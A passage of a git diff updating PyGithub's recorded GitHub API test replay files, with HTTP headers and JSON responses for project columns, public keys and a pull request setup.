[{"url":"https://api.github.com/projects/columns/cards/36285184","project_url":"https://api.github.com/projects/4294766","id":36285184,"node_id":"MDExOlByb2plY3RDYXJkMzYyODUxODQ=","note":"Note3","archived":false,"creator":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars2.githubusercontent.com/u/1266346?u=9ff2d1d568ef21b9fc83b189c44594d5816a9990&v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"created_at":"2020-04-14T16:57:26Z","updated_at":"2020-04-14T16:57:26Z","column_url":"https://api.github.com/projects/columns/8700460"},{"url":"https://api.github.com/projects/columns/cards/36281526","project_url":"https://api.github.com/projects/4294766","id":36281526,"node_id":"MDExOlByb2plY3RDYXJkMzYyODE1MjY=","note":"Note2","archived":false,"creator":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars2.githubusercontent.com/u/1266346?u=9ff2d1d568ef21b9fc83b189c44594d5816a9990&v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"created_at":"2020-04-14T16:00:37Z","updated_at":"2020-04-14T16:00:37Z","column_url":"https://api.github.com/projects/columns/8700460"}] - diff --git a/tests/ReplayData/ProjectColumn.testGetNotArchivedCards.txt b/tests/ReplayData/ProjectColumn.testGetNotArchivedCards.txt index 0e0e4391b0..5901e086db 100644 --- a/tests/ReplayData/ProjectColumn.testGetNotArchivedCards.txt +++ b/tests/ReplayData/ProjectColumn.testGetNotArchivedCards.txt @@ -19,4 +19,3 @@ None 200 [('Date', 'Tue, 14 Apr 2020 18:16:27 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4979'), ('X-RateLimit-Reset', '1586891695'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"a4b6a7e2eacfdbb711423183c140c383"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E8DC:19719:15A2CB9:1970B81:5E95FDFB')] [{"url":"https://api.github.com/projects/columns/cards/36285184","project_url":"https://api.github.com/projects/4294766","id":36285184,"node_id":"MDExOlByb2plY3RDYXJkMzYyODUxODQ=","note":"Note3","archived":false,"creator":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars2.githubusercontent.com/u/1266346?u=9ff2d1d568ef21b9fc83b189c44594d5816a9990&v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"created_at":"2020-04-14T16:57:26Z","updated_at":"2020-04-14T16:57:26Z","column_url":"https://api.github.com/projects/columns/8700460"},{"url":"https://api.github.com/projects/columns/cards/36281526","project_url":"https://api.github.com/projects/4294766","id":36281526,"node_id":"MDExOlByb2plY3RDYXJkMzYyODE1MjY=","note":"Note2","archived":false,"creator":{"login":"FlorentClarret","id":1266346,"node_id":"MDQ6VXNlcjEyNjYzNDY=","avatar_url":"https://avatars2.githubusercontent.com/u/1266346?u=9ff2d1d568ef21b9fc83b189c44594d5816a9990&v=4","gravatar_id":"","url":"https://api.github.com/users/FlorentClarret","html_url":"https://github.com/FlorentClarret","followers_url":"https://api.github.com/users/FlorentClarret/followers","following_url":"https://api.github.com/users/FlorentClarret/following{/other_user}","gists_url":"https://api.github.com/users/FlorentClarret/gists{/gist_id}","starred_url":"https://api.github.com/users/FlorentClarret/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/FlorentClarret/subscriptions","organizations_url":"https://api.github.com/users/FlorentClarret/orgs","repos_url":"https://api.github.com/users/FlorentClarret/repos","events_url":"https://api.github.com/users/FlorentClarret/events{/privacy}","received_events_url":"https://api.github.com/users/FlorentClarret/received_events","type":"User","site_admin":false},"created_at":"2020-04-14T16:00:37Z","updated_at":"2020-04-14T16:00:37Z","column_url":"https://api.github.com/projects/columns/8700460"}] - diff --git a/tests/ReplayData/ProjectColumn.testGetProjectColumn.txt b/tests/ReplayData/ProjectColumn.testGetProjectColumn.txt index 8f825add12..9ae592d1db 100644 --- a/tests/ReplayData/ProjectColumn.testGetProjectColumn.txt +++ b/tests/ReplayData/ProjectColumn.testGetProjectColumn.txt @@ -8,4 +8,3 @@ None 200 [('Date', 'Tue, 14 Apr 2020 15:54:41 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4973'), ('X-RateLimit-Reset', '1586881947'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"e72b42a5cf4979d0048de03ef3320a58"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8278:1971C:1B5FB42:2036E85:5E95DCC1')] {"url":"https://api.github.com/projects/columns/8700460","project_url":"https://api.github.com/projects/4294766","cards_url":"https://api.github.com/projects/columns/8700460/cards","id":8700460,"node_id":"MDEzOlByb2plY3RDb2x1bW44NzAwNDYw","name":"c1","created_at":"2020-04-13T20:29:53Z","updated_at":"2020-04-13T20:29:53Z"} - diff --git a/tests/ReplayData/ProjectColumn.testMoveAfter.txt b/tests/ReplayData/ProjectColumn.testMoveAfter.txt index fca4e868d8..c4188ab468 100644 --- a/tests/ReplayData/ProjectColumn.testMoveAfter.txt +++ b/tests/ReplayData/ProjectColumn.testMoveAfter.txt @@ -8,4 +8,3 @@ None 201 [('Date', 'Thu, 16 Apr 2020 05:51:15 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Server', 'GitHub.com'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4948'), ('X-RateLimit-Reset', '1587018428'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"5cdeb7b7e65678a2f212994c02e98f49"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'D5A0:29EAD:D1CCE7:F3F095:5E97F253')] {} - diff --git a/tests/ReplayData/ProjectColumn.testMoveFirst.txt b/tests/ReplayData/ProjectColumn.testMoveFirst.txt index ef7a9da7fe..e3e82dcdf3 100644 --- a/tests/ReplayData/ProjectColumn.testMoveFirst.txt +++ b/tests/ReplayData/ProjectColumn.testMoveFirst.txt @@ -8,4 +8,3 @@ None 201 [('Date', 'Thu, 16 Apr 2020 05:50:57 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Server', 'GitHub.com'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4954'), ('X-RateLimit-Reset', '1587018429'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"5cdeb7b7e65678a2f212994c02e98f49"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'D58C:E2C8:12DBE29:15FC0D8:5E97F240')] {} - diff --git a/tests/ReplayData/ProjectColumn.testMoveLast.txt b/tests/ReplayData/ProjectColumn.testMoveLast.txt index 8d51011892..f5f86b55f2 100644 --- a/tests/ReplayData/ProjectColumn.testMoveLast.txt +++ b/tests/ReplayData/ProjectColumn.testMoveLast.txt @@ -8,4 +8,3 @@ None 201 [('Date', 'Thu, 16 Apr 2020 05:51:06 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '2'), ('Server', 'GitHub.com'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4951'), ('X-RateLimit-Reset', '1587018429'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"5cdeb7b7e65678a2f212994c02e98f49"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete:packages, delete_repo, gist, notifications, read:packages, repo, user, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'public_repo, repo'), ('X-GitHub-Media-Type', 'github.inertia-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'D59A:18639:129F5E7:15BB83D:5E97F249')] {} - diff --git a/tests/ReplayData/PublicKey.testAttributes.txt b/tests/ReplayData/PublicKey.testAttributes.txt index c941a35664..9e256c9847 100644 --- a/tests/ReplayData/PublicKey.testAttributes.txt +++ b/tests/ReplayData/PublicKey.testAttributes.txt @@ -29,4 +29,4 @@ None None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '487'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1dd282b50e691f8f162ef9355dad8771"'), ('date', 'Thu, 10 May 2012 19:03:19 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"key": "u5e1Z25+z8pmgVVt5Pd8k0z/sKpVL1MXYtRAecE4vm8=", "key_id": "123456789012345678"} +{"key": "u5e1Z25+z8pmgVVt5Pd8k0z/sKpVL1MXYtRAecE4vm8=", "key_id": "568250167242549743"} diff --git a/tests/ReplayData/PublicKey.testAttributes_with_int_key_id.txt b/tests/ReplayData/PublicKey.testAttributes_with_int_key_id.txt index cf76724ae4..3e570f10ef 100644 --- a/tests/ReplayData/PublicKey.testAttributes_with_int_key_id.txt +++ b/tests/ReplayData/PublicKey.testAttributes_with_int_key_id.txt @@ -29,4 +29,4 @@ None None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('content-length', '485'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1dd282b50e691f8f162ef9355dad8771"'), ('date', 'Thu, 10 May 2012 19:03:19 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"key": "u5e1Z25+z8pmgVVt5Pd8k0z/sKpVL1MXYtRAecE4vm8=", "key_id": 123456789012345678} +{"key": "u5e1Z25+z8pmgVVt5Pd8k0z/sKpVL1MXYtRAecE4vm8=", "key_id": 568250167242549743} diff --git a/tests/ReplayData/PullRequest.setUp.txt b/tests/ReplayData/PullRequest.setUp.txt index 4d5d2b331f..8a92d5302c 100644 --- a/tests/ReplayData/PullRequest.setUp.txt +++ b/tests/ReplayData/PullRequest.setUp.txt @@ -2,34 +2,23 @@ https GET api.github.com None -/user +/repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 -[('status', '200 OK'), ('x-ratelimit-remaining', '4950'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e3511a4776ec399b168eb5f96423f3c8"'), ('date', 'Sun, 27 May 2012 10:32:04 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"collaborators":0,"type":"User","disk_usage":16856,"bio":"","public_gists":3,"url":"https://api.github.com/users/jacquev6","private_gists":5,"plan":{"private_repos":5,"collaborators":1,"name":"micro","space":614400},"company":"Criteo","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","blog":"http://vincent-jacques.net","email":"vincent@vincent-jacques.net","total_private_repos":5,"followers":13,"name":"Vincent Jacques","public_repos":11,"created_at":"2010-07-09T06:10:06Z","location":"Paris, France","id":327146,"owned_private_repos":5,"following":24,"html_url":"https://github.com/jacquev6","hireable":false,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"} +[('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jun 2023 08:27:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1573389419d98a2b3d9a6b1fc058a68f1fc3d31108ccfdab8ca4121153626211"'), ('Last-Modified', 'Wed, 07 Jun 2023 04:02:03 GMT'), ('X-OAuth-Scopes', 'public_repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4959'), ('X-RateLimit-Reset', '1686126614'), ('X-RateLimit-Used', '41'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8A96:10854:895AE2:8AB25B:64803F81')] +{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2023-06-07T04:02:03Z","pushed_at":"2023-06-07T06:56:40Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13881,"stargazers_count":6051,"watchers_count":6051,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1635,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":252,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1635,"open_issues":252,"watchers":6051,"default_branch":"master","permissions":{"admin":false,"maintain":false,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":false,"allow_rebase_merge":false,"allow_auto_merge":false,"delete_branch_on_merge":true,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1635,"subscribers_count":115} https GET api.github.com None -/repos/jacquev6/PyGithub +/repos/PyGithub/PyGithub/pulls/31 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 -[('status', '200 OK'), ('x-ratelimit-remaining', '4949'), ('content-length', '1129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"65cfc4c324b5a85af62a0091f4d86503"'), ('date', 'Sun, 27 May 2012 10:32:05 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"clone_url":"https://github.com/jacquev6/PyGithub.git","has_downloads":true,"watchers":15,"git_url":"git://github.com/jacquev6/PyGithub.git","updated_at":"2012-05-27T10:29:10Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","mirror_url":null,"has_wiki":false,"has_issues":true,"fork":false,"forks":3,"size":188,"private":false,"open_issues":16,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-27T10:29:09Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"html_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub"} - -https -GET -api.github.com -None -/repos/jacquev6/PyGithub/pulls/31 -{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} -None -200 -[('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '4182'), ('server', 'nginx'), ('last-modified', 'Sat, 03 Nov 2012 08:19:40 GMT'), ('connection', 'keep-alive'), ('etag', '"1ec7d9f2ebb27db7dc002f1382d23975"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Sat, 03 Nov 2012 08:19:46 GMT'), ('content-type', 'application/json; charset=utf-8')] -{"additions":511,"deletions":384,"merged_at":"2012-05-27T10:29:07Z","base":{"label":"jacquev6:topic/RewriteWithGeneratedCode","repo":{"watchers":97,"pushed_at":"2012-11-03T08:07:38Z","watchers_count":97,"forks":27,"open_issues":12,"mirror_url":null,"description":"Python library implementing the full Github API v3","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","login":"jacquev6","id":327146},"open_issues_count":12,"url":"https://api.github.com/repos/jacquev6/PyGithub","updated_at":"2012-11-03T08:07:40Z","html_url":"https://github.com/jacquev6/PyGithub","clone_url":"https://github.com/jacquev6/PyGithub.git","language":"Python","has_downloads":true,"ssh_url":"git@github.com:jacquev6/PyGithub.git","size":256,"forks_count":27,"fork":false,"full_name":"jacquev6/PyGithub","name":"PyGithub","created_at":"2012-02-25T12:53:47Z","git_url":"git://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://vincent-jacques.net/PyGithub","has_wiki":true,"private":false,"id":3544490,"has_issues":true},"sha":"e